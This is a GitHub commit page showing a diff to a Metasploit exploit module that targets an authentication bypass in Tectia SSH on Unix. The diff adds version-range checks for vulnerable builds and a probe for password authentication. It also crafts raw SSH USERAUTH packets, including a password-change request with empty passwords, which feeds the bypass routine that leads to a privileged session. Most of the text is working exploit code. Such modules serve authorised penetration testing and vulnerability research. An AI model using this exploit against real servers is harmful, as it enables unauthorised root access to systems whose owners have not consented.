Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with HTTPS or Subversion.

Download ZIP
Browse files

Merge remote branch 'wchen-r7/better_tectia_ssh'

  • Loading branch information...
commit 215017e17cddf0ff0dd04309900364403f091be9 2 parents 5e44987 + 0692734
@todb todb authored
Showing with 78 additions and 57 deletions.
  1. +78 −57 modules/exploits/unix/ssh/tectia_passwd_changereq.rb
View
135 modules/exploits/unix/ssh/tectia_passwd_changereq.rb
@@ -48,7 +48,7 @@ def initialize(info={})
'Arch' => ARCH_CMD,
'Targets' =>
[
- ['Unix-based Tectia SSH 6.3.2.33 or prior', {}],
+ ['Unix-based Tectia SSH 6.3 or prior', {}]
],
'Privileged' => true,
'DisclosureDate' => "Dec 01 2012",
@@ -63,7 +63,6 @@ def initialize(info={})
register_advanced_options(
[
- OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
@@ -71,11 +70,43 @@ def initialize(info={})
def check
connect
- banner = sock.get_once
- print_status("#{rhost}:#{rport} - #{banner}")
+ banner = sock.get_once.strip
+ print_status("#{rhost}:#{rport} - Banner: #{banner}")
disconnect
- return Exploit::CheckCode::Appears if banner =~ /SSH Tectia/
+ # Vulnerable version info obtained from CVE
+ version = banner.scan(/\-(\d\.\d\.\d*).+SSH Tectia/).flatten[0] || ''
+ build = version.split('.')[-1].to_i
+
+ case version
+ when /^6\.0/
+ unless (4..14).include?(build) or (17..20).include?(build)
+ return Exploit::CheckCode::Safe
+ end
+
+ when /^6\.1/
+ unless (0..9).include?(build) or build == 12
+ return Exploit::CheckCode::Safe
+ end
+
+ when /^6\.2/
+ unless (0..5).include?(build)
+ return Exploit::CheckCode::Safe
+ end
+
+ when /^6\.3/
+ unless (0..2).include?(build)
+ return Exploit::CheckCode::Safe
+ end
+ else
+ return Exploit::CheckCode::Safe
+ end
+
+ # The vulnerable version must use PASSWORD method
+ user = Rex::Text.rand_text_alpha(4)
+ transport, connection = init_ssh(user)
+ return Exploit::CheckCode::Vulnerable if is_passwd_method?(user, transport)
+
return Exploit::CheckCode::Safe
end
@@ -87,54 +118,41 @@ def rport
datastore['RPORT']
end
- #
- # This is where the login begins. We're expected to use the keyboard-interactive method to
- # authenticate, but really all we want is skipping it so we can move on to the password
- # method authentication.
- #
- def auth_keyboard_interactive(user, transport)
- print_status("#{rhost}:#{rport} - Going through keyboard-interactive auth...")
- auth_req_pkt = Net::SSH::Buffer.from(
- :byte, 0x32, #userauth request
- :string, user, #username
- :string, "ssh-connection", #service
- :string, "keyboard-interactive", #method name
- :string, "", #lang
- :string, ""
- )
+ def is_passwd_method?(user, transport)
+ # A normal client is expected to send a ssh-userauth packet.
+ # Without it, the module can hang against non-vulnerable SSH servers.
+ transport.send_message(transport.service_request("ssh-userauth"))
+ message = transport.next_message
- user_auth_pkt = Net::SSH::Buffer.from(
- :byte, 0x3D, #userauth info
- :raw, 0x01, #number of prompts
- :string, "", #password
- :raw, "\0"*32 #padding
- )
+ # 6 means SERVICE_ACCEPT
+ if message.type != 6
+ print_error("Unexpected message: #{message.inspect}")
+ return false
+ end
- transport.send_message(auth_req_pkt)
- message = transport.next_message
- vprint_status("#{rhost}:#{rport} - Authentication to continue: keyboard-interactive")
+ # We send this packet as an attempt to see what auth methods are available.
+ # The only auth method we want is PASSWORD.
+ pkt = Net::SSH::Buffer.from(
+ :byte, 0x32, #userauth request
+ :string, user, #username
+ :string, "ssh-connection", #service
+ :string, "password" #method name
+ )
+ pkt.write_bool(true)
+ pkt.write_string("") #Old pass
+ pkt.write_string("") #New pass
+ transport.send_message(pkt)
message = transport.next_message
- vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}")
- # USERAUTH INFO
- transport.send_message(user_auth_pkt)
- message = transport.next_message
- vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
-
- 2.times do |i|
- #USRAUTH REQ
- transport.send_message(auth_req_pkt)
- message = transport.next_message
- vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}")
-
- # USERAUTH INFO
- transport.send_message(user_auth_pkt)
- message = transport.next_message
- vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
+ # Type 51 means the server is trying to tell us what auth methods are allowed.
+ if message.type == 51 and message.to_s !~ /password/
+ print_error("#{rhost}:#{rport} - This host does not use password method authentication")
+ return false
end
- end
+ return true
+ end
#
# The following link is useful to understand how to craft the USERAUTH password change
@@ -155,7 +173,7 @@ def userauth_passwd_change(user, transport, connection)
transport.send_message(pkt)
message = transport.next_message.type
- vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
+ print_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
if message.to_i == 52 #SSH2_MSG_USERAUTH_SUCCESS
transport.send_message(transport.service_request("ssh-userauth"))
@@ -169,23 +187,26 @@ def userauth_passwd_change(user, transport, connection)
end
end
- def do_login(user)
- opts = {:user=>user, :record_auth_info=>true}
+ def init_ssh(user)
+ opts = {:user=>user, :record_auth_info=>true, :port=>rport}
options = Net::SSH::Config.for(rhost, Net::SSH::Config.default_files).merge(opts)
transport = Net::SSH::Transport::Session.new(rhost, options)
connection = Net::SSH::Connection::Session.new(transport, options)
- auth_keyboard_interactive(user, transport)
- userauth_passwd_change(user, transport, connection)
+
+ return transport, connection
end
- def exploit
- # Our keyboard-interactive is specific to Tectia. This allows us to run quicker when we're
- # engaging a variety of SSHD targets on a network.
- if check != Exploit::CheckCode::Appears
- print_error("#{rhost}:#{rport} - Host does not seem vulnerable, will not engage.")
- return
+ def do_login(user)
+ transport, connection = init_ssh(user)
+ passwd = is_passwd_method?(user, transport)
+
+ if passwd
+ conn = userauth_passwd_change(user, transport, connection)
+ return conn
end
+ end
+ def exploit
c = nil
begin
Please sign in to comment.
Something went wrong with that request. Please try again.